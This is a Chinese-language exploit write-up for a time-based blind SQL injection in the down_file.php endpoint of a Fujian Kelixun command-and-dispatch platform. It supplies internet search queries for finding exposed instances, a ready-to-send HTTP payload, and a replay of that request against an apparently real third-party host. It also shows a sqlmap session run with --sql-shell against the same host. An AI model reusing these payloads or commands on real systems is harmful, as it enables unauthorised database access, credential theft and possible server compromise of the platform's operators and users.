F2-1福建科立讯通信-指挥调度管理平台-SQL

漏洞描述：

福建科立讯通信指挥调度管理平台 down_file.php 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

福建科立讯通信调度平台 <= 20240318

网站图片：

网络测绘：

fofa语法：

body="指挥调度管理平台"

360quake语法：

title: "指挥调度管理平台"

漏洞复现：

payload：

```
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:

发送请求 | 强制 HTTPS | 历史 | 爆破示例 | 生成 Yaml 模

Request | 数据包扫描 | 热加载 | 构造请求

```
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: order.mhyhly.com:7080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
```

Responses 24bytes / 5089ms | 美化 | 渲染 | 详情

```
HTTP/1.1 200 OK
Date: Fri, 29 Mar 2024 14:53:02 GMT
Server: Apache
Upgrade: h2
Connection: Upgrade, close
Set-Cookie: PHPSESSID=15ee1f218a7078c8d334b43fa4825143; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: SAMEORIGIN;
Referer-Policy: origin;
Content-Security-Policy: frame-ancestors 'self';
X-Permitted-Cross-Domain-Policies: 'master-only';
X-XSS-Protection: 1; mode=block;
X-Download-Options: SAMEORIGIN;
X-Content-Type-Options: nosniff;
Strict-Transport-Security: max-age=31536000;
Content-Type: text/html; charset=UTF-8
Content-Length: 24
```

DNS耗时:699ms; 远端地址:111.1 2.208:59:7080; 响应时间:5089ms; 总耗时:5864ms; URL:http://order.mhyhly.com:7080/a...

```
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://order.mhyhly.com:7080/api/client/down_file.php?uuid=1" --sql-shell --batch
        ___
       __H__
 ___ ___[*]_____ ___ ___  {1.8#stable}
|_ -| . [*]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibili
[ applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by

[*] starting @ 23:04:16 /2024-03-29/

[23:04:17] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=bf2f578e9d3...02e8f1e97f'). Do you want to use those [Y
[23:04:17] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:04:18] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[23:04:19] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:04:19] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[23:04:20] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[23:04:21] [INFO] testing 'Generic inline queries'
[23:04:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[23:04:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[23:04:22] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[23:04:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:04:35] [INFO] GET parameter 'uuid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[23:04:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:04:35] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (pot
nd
[23:04:39] [INFO] checking if the injection point on GET parameter 'uuid' is a false positive
GET parameter 'uuid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: uuid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uuid=1' AND (SELECT 3588 FROM (SELECT(SLEEP(5)))YggC) AND 'RQlj'='RQlj
---
[23:05:01] [INFO] the back-end DBMS is MySQL
[23:05:01] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent
```